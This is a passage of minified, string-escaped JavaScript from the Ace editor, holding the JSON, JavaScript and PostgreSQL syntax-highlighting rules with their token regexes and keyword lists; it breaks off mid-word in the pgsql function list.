{\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"variable\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]\\\\s*(?=:)'},{token:\"string\",regex:'\"',next:\"string\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:\"invalid.illegal\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"invalid.illegal\",regex:\"\\\\/\\\\/.*$\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],string:[{token:\"constant.language.escape\",regex:/\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[\"\\\\\\/bfnrt])/},{token:\"string\",regex:'[^\"\\\\\\\\]+'},{token:\"string\",regex:'\"',next:\"start\"},{token:\"string\",regex:\"\",next:\"start\"}]}};r.inherits(s,i),t.JsonHighlightRules=s}),define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function a(){var e=o.replace(\"\\\\d\",\"\\\\d\\\\-\"),t={onMatch:function(e,t,n){var r=e.charAt(1)==\"/\"?2:1;if(r==1)t!=this.nextState?n.unshift(this.next,this.nextState,0):n.unshift(this.next),n[2]++;else if(r==2&&t==this.nextState){n[1]--;if(!n[1]||n[1]<0)n.shift(),n.shift()}return[{type:\"meta.tag.punctuation.\"+(r==1?\"\":\"end-\")+\"tag-open.xml\",value:e.slice(0,r)},{type:\"meta.tag.tag-name.xml\",value:e.substr(r)}]},regex:\"</?\"+e+\"\",next:\"jsxAttributes\",nextState:\"jsx\"};this.$rules.start.unshift(t);var n={regex:\"{\",token:\"paren.quasi.start\",push:\"start\"};this.$rules.jsx=[n,t,{include:\"reference\"},{defaultToken:\"string\"}],this.$rules.jsxAttributes=[{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",onMatch:function(e,t,n){return t==n[0]&&n.shift(),e.length==2&&(n[0]==this.nextState&&n[1]--,(!n[1]||n[1]<0)&&n.splice(0,2)),this.next=n[0]||\"start\",[{type:this.token,value:e}]},nextState:\"jsx\"},n,{token:\"entity.other.attribute-name.xml\",regex:e},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"},{token:\"string.attribute-value.xml\",regex:\"'\",stateName:\"jsx_attr_q\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},n,{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',stateName:\"jsx_attr_qq\",push:[n,{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]}],this.$rules.reference=[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}]}var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",u=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+o+\")(\\\\.)(prototype)(\\\\.)(\"+o+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+o+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:o},{token:\"punctuation.operator\",regex:/[.](?![.])/,next:\"property\"},{token:\"keyword.operator\",regex:/--|\\+\\+|\\.{3}|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],property:[{token:\"text\",regex:\"\\\\s+\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(?:(\\\\s+)(\\\\w+))?(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"punctuation.operator\",regex:/[.](?![.])/},{token:\"support.function\",regex:/(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:\"support.function.dom\",regex:/(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:\"support.constant\",regex:/(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:\"identifier\",regex:o},{regex:\"\",token:\"empty\",next:\"no_regex\"}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:o},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]};if(!e||!e.noES6)this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1||this.next.indexOf(\"jsx\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:r},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),(!e||!e.noJSX)&&a.call(this);this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(u,s),t.JavaScriptHighlightRules=u}),define(\"ace/mode/pgsql_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\",\"ace/mode/perl_highlight_rules\",\"ace/mode/python_highlight_rules\",\"ace/mode/json_highlight_rules\",\"ace/mode/javascript_highlight_rules\"],function(e,t,n){var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,o=e(\"./text_highlight_rules\").TextHighlightRules,u=e(\"./perl_highlight_rules\").PerlHighlightRules,a=e(\"./python_highlight_rules\").PythonHighlightRules,f=e(\"./json_highlight_rules\").JsonHighlightRules,l=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,c=function(){var e=\"abort|absolute|abstime|access|aclitem|action|add|admin|after|aggregate|all|also|alter|always|analyse|analyze|and|any|anyarray|anyelement|anyenum|anynonarray|anyrange|array|as|asc|assertion|assignment|asymmetric|at|attribute|authorization|backward|before|begin|between|bigint|binary|bit|bool|boolean|both|box|bpchar|by|bytea|cache|called|cascade|cascaded|case|cast|catalog|chain|char|character|characteristics|check|checkpoint|cid|cidr|circle|class|close|cluster|coalesce|collate|collation|column|comment|comments|commit|committed|concurrently|configuration|connection|constraint|constraints|content|continue|conversion|copy|cost|create|cross|cstring|csv|current|current_catalog|current_date|current_role|current_schema|current_time|current_timestamp|current_user|cursor|cycle|data|database|date|daterange|day|deallocate|dec|decimal|declare|default|defaults|deferrable|deferred|definer|delete|delimiter|delimiters|desc|dictionary|disable|discard|distinct|do|document|domain|double|drop|each|else|enable|encoding|encrypted|end|enum|escape|event|event_trigger|except|exclude|excluding|exclusive|execute|exists|explain|extension|external|extract|false|family|fdw_handler|fetch|first|float|float4|float8|following|for|force|foreign|forward|freeze|from|full|function|functions|global|grant|granted|greatest|group|gtsvector|handler|having|header|hold|hour|identity|if|ilike|immediate|immutable|implicit|in|including|increment|index|indexes|inet|inherit|inherits|initially|inline|inner|inout|input|insensitive|insert|instead|int|int2|int2vector|int4|int4range|int8|int8range|integer|internal|intersect|interval|into|invoker|is|isnull|isolation|join|json|key|label|language|language_handler|large|last|lateral|lc_collate|lc_ctype|leading|leakproof|least|left|level|like|limit|line|listen|load|local|localtime|localtimestamp|location|lock|lseg|macaddr|mapping|match|materialized|maxvalue|minute|minvalue|mode|money|month|move|name|names|national|natural|nchar|next|no|none|not|nothing|notify|notnull|nowait|null|nullif|nulls|numeric|numrange|object|of|off|offset|oid|oids|oidvector|on|only|opaque|operator|option|options|or|order|out|outer|over|overlaps|overlay|owned|owner|parser|partial|partition|passing|password|path|pg_attribute|pg_auth_members|pg_authid|pg_class|pg_database|pg_node_tree|pg_proc|pg_type|placing|plans|point|polygon|position|preceding|precision|prepare|prepared|preserve|primary|prior|privileges|procedural|procedure|program|quote|range|read|real|reassign|recheck|record|recursive|ref|refcursor|references|refresh|regclass|regconfig|regdictionary|regoper|regoperator|regproc|regprocedure|regtype|reindex|relative|release|reltime|rename|repeatable|replace|replica|reset|restart|restrict|returning|returns|revoke|right|role|rollback|row|rows|rule|savepoint|schema|scroll|search|second|security|select|sequence|sequences|serializable|server|session|session_user|set|setof|share|show|similar|simple|smallint|smgr|snapshot|some|stable|standalone|start|statement|statistics|stdin|stdout|storage|strict|strip|substring|symmetric|sysid|system|table|tables|tablespace|temp|template|temporary|text|then|tid|time|timestamp|timestamptz|timetz|tinterval|to|trailing|transaction|treat|trigger|trim|true|truncate|trusted|tsquery|tsrange|tstzrange|tsvector|txid_snapshot|type|types|unbounded|uncommitted|unencrypted|union|unique|unknown|unlisten|unlogged|until|update|user|using|uuid|vacuum|valid|validate|validator|value|values|varbit|varchar|variadic|varying|verbose|version|view|void|volatile|when|where|whitespace|window|with|without|work|wrapper|write|xid|xml|xmlattributes|xmlconcat|xmlelement|xmlexists|xmlforest|xmlparse|xmlpi|xmlroot|xmlserialize|year|yes|zone\",t=\"RI_FKey_cascade_del|RI_FKey_cascade_upd|RI_FKey_check_ins|RI_FKey_check_upd|RI_FKey_noaction_del|RI_FKey_noaction_upd|RI_FKey_restrict_del|RI_FKey_restrict_upd|RI_FKey_setdefault_del|RI_FKey_setdefault_upd|RI_FKey_setnull_del|RI_FKey_setnull_upd|abbrev|abs|abstime|abstimeeq|abstimege|abstimegt|abstimein|abstimele|abstimelt|abstimene|abstimeout|abstimerecv|abstimesend|aclcontains|acldefault|aclexplode|aclinsert|aclitemeq|aclitemin|aclitemout|aclremove|acos|age|any_in|any_out|anyarray_in|anyarray_out|anyarray_recv|anyarray_send|anyelement_in|anyelement_out|anyenum_in|anyenum_out|anynonarray_in|anynonarray_out|anyrange_in|anyrange_out|anytextcat|area|areajoinsel|areasel|array_agg|array_agg_finalfn|array_agg_transfn|array_append|array_cat|array_dims|array_eq|array_fill|array_ge|array_gt|array_in|array_larger|array_le|array_length|array_lower|array_lt|array_ndims|array_ne|array_out|array_prepend|array_recv|array_remove|array_replace|array_send|array_smaller|array_to_json|array_to_string|array_typanalyze|array_upper|arraycontained|arraycontains|arraycontjoinsel|arraycontsel|arrayoverlap|ascii|ascii_to_mic|ascii_to_utf8|asin|atan|atan2|avg|big5_to_euc_tw|big5_to_mic|big5_to_utf8|bit_and|bit_in|bit_length|bit_or|bit_out|bit_recv|bit_send|bitand|bitcat|bitcmp|biteq|bitge|bitgt|bitle|bitlt|bitne|bitnot|bitor|bitshiftleft|bitshiftright|bittypmodin|bittypmodout|bitxor|bool|bool_and|bool_or|booland_statefunc|booleq|boolge|boolgt|boolin|boolle|boollt|boolne|boolor_statefunc|boolout|boolrecv|boolsend|box|box_above|box_above_eq|box_add|box_below|box_below_eq|box_center|box_contain|box_contain_pt|box_contained|box_distance|box_div|box_eq|box_ge|box_gt|box_in|box_intersect|box_le|box_left|box_lt|box_mul|box_out|box_overabove|box_overbelow|box_overlap|box_overleft|box_overright|box_recv|box_right|box_same|box_send|box_sub|bpchar_larger|bpchar_pattern_ge|bpchar_pattern_gt|bpchar_pattern_le|bpchar_pattern_lt|bpchar_smaller|bpcharcmp|bpchareq|bpcharge|bpchargt|bpchariclike|bpcharicnlike|bpcharicregexeq|bpcharicregexne|bpcharin|bpcharle|bpcharlike|bpcharlt|bpcharne|bpcharnlike|bpcharout|bpcharrecv|bpcharregexeq|bpcharregexne|bpcharsend|bpchartypmodin|bpchartypmodout|broadcast|btabstimecmp|btarraycmp|btbeginscan|btboolcmp|btbpchar_pattern_cmp|btbuild|btbuildempty|btbulkdelete|btcanreturn|btcharcmp|btcostestimate|btendscan|btfloat48cmp|btfloat4cmp|btfloat4sortsupport|btfloat84cmp|btfloat8cmp|btfloat8sortsupport|btgetbitmap|btgettuple|btinsert|btint24cmp|btint28cmp|btint2cmp|btint2sortsupport|btint42cmp|btint48cmp|btint4cmp|btint4sortsupport|btint82cmp|btint84cmp|btint8cmp|btint8sortsupport|btmarkpos|btnamecmp|btnamesortsupport|btoidcmp|btoidsortsupport|btoidvectorcmp|btoptions|btrecordcmp|btreltimecmp|btrescan|btrestrpos|btrim|bttext_pattern_cmp|bttextcmp|bttidcmp|bttintervalcmp|btvacuumcleanup|bytea_string_agg_finalfn|bytea_string_agg_transfn|byteacat|byteacmp|byteaeq|byteage|byteagt|byteain|byteale|bytealike|bytealt|byteane|byteanlike|byteaout|bytearecv|byteasend|cash_cmp|cash_div_cash|cash_div_flt4|cash_div_flt8|cash_div_int2|cash_div_int4|cash_eq|cash_ge|cash_gt|cash_in|cash_le|cash_lt|cash_mi|cash_mul_flt4|cash_mul_flt8|cash_mul_int2|cash_mul_int4|cash_ne|cash_out|cash_pl|cash_recv|cash_send|cash_words|cashlarger|cashsmaller|cbrt|ceil|ceiling|center|char|char_length|character_length|chareq|charge|chargt|charin|charle|charlt|charne|charout|charrecv|charsend|chr|cideq|cidin|cidout|cidr|cidr_in|cidr_out|cidr_recv|cidr_send|cidrecv|cidsend|circle|circle_above|circle_add_pt|circle_below|circle_center|circle_contain|circle_contain_pt|circle_contained|circle_distance|circle_div_pt|circle_eq|circle_ge|circle_gt|circle_in|circle_le|circle_left|circle_lt|circle_mul_pt|circle_ne|circle_out|circle_overabove|circle_overbelow|circle_overlap|circle_overleft|circle_overright|circle_recv|circle_right|circle_same|circle_send|circle_sub_pt|clock_timestamp|close_lb|close_ls|close_lseg|close_pb|close_pl|close_ps|close_sb|close_sl|col_description|concat|concat_ws|contjoinsel|contsel|convert|convert_from|convert_to|corr|cos|cot|count|covar_pop|covar_samp|cstring_in|cstring_out|cstring_recv|cstring_send|cume_dist|current_database|current_query|current_schema|current_schemas|current_setting|current_user|currtid|currtid2|currval|cursor_to_xml|cursor_to_xmlschema|database_to_xml|database_to_xml_and_xmlschema|database_to_xmlschema|date|date_cmp|date_cmp_timestamp|date_cmp_timestamptz|date_eq|date_eq_timestamp|date_eq_timestamptz|date_ge|date_ge_timestamp|date_ge_timestamptz|date_gt|date_gt_timestamp|date_gt_timestamptz|date_in|date_larger|date_le|date_le_timestamp|date_le_timestamptz|date_lt|date_lt_timestamp|date_lt_timestamptz|date_mi|date_mi_interval|date_mii|date_ne|date_ne_timestamp|date_ne_timestamptz|date_out|date_part|date_pl_interval|date_pli|date_recv|date_send|date_smaller|date_sortsupport|date_trunc|daterange|daterange_canonical|daterange_subdiff|datetime_pl|datetimetz_pl|dcbrt|decode|degrees|dense_rank|dexp|diagonal|diameter|dispell_init|dispell_lexize|dist_cpoly|dist_lb|dist_pb|dist_pc|dist_pl|dist_ppath|dist_ps|dist_sb|dist_sl|div|dlog1|dlog10|domain_in|domain_recv|dpow|dround|dsimple_init|dsimple_lexize|dsnowball_init|dsnowball_lexize|dsqrt|dsynonym_init|dsynonym_lexize|dtrunc|elem_contained_by_range|encode|enum_cmp|enum_eq|enum_first|enum_ge|enum_gt|enum_in|enum_larger|enum_last|enum_le|enum_lt|enum_ne|enum_out|enum_range|enum_recv|enum_send|enum_smaller|eqjoinsel|eqsel|euc_cn_to_mic|euc_cn_to_utf8|euc_jis_2004_to_shift_jis_2004|euc_jis_2004_to_utf8|euc_jp_to_mic|euc_jp_to_sjis|euc_jp_to_utf8|euc_kr_to_mic|euc_kr_to_utf8|euc_tw_to_big5|euc_tw_to_mic|euc_tw_to_utf8|event_trigger_in|event_trigger_out|every|exp|factorial|family|fdw_handler_in|fdw_handler_out|first_value|float4|float48div|float48eq|float48ge|float48gt|float48le|float48lt|float48mi|float48mul|float48ne|float48pl|float4_accum|float4abs|float4div|float4eq|float4ge|float4gt|float4in|float4larger|float4le|float4lt|float4mi|float4mul|float4ne|float4out|float4pl|float4recv|float4send|float4smaller|float4um|float4up|float8|float84div|float84eq|float84ge|float84gt|float84le|float84lt|float84mi|float84mul|float84ne|float84pl|float8_accum|float8_avg|float8_corr|float8_covar_pop|float8_covar_samp|float8_regr_accum|float8_regr_avgx|float8_regr_avgy|float8_regr_intercept|float8_regr_r2|float8_regr_slope|float8_regr_sxx|float8_regr_sxy|float8_regr_syy|float8_stddev_pop|float8_stddev_samp|float8_var_pop|float8_var_samp|float8abs|float8div|float8eq|float8ge|float8gt|float8in|float8larger|float8le|float8lt|float8mi|float8mul|float8ne|float8out|float8pl|float8recv|float8send|float8smaller|float8um|float8up|floor|flt4_mul_cash|flt8_mul_cash|fmgr_c_validator|fmgr_internal_validator|fmgr_sql_validator|format|format_type|gb18030_to_utf8|gbk_to_utf8|generate_series|generate_subscripts|get_bit|get_byte|get_current_ts_config|getdatabaseencoding|getpgusername|gin_cmp_prefix|gin_cmp_tslexeme|gin_extract_tsquery|gin_extract_tsvector|gin_tsquery_consistent|ginarr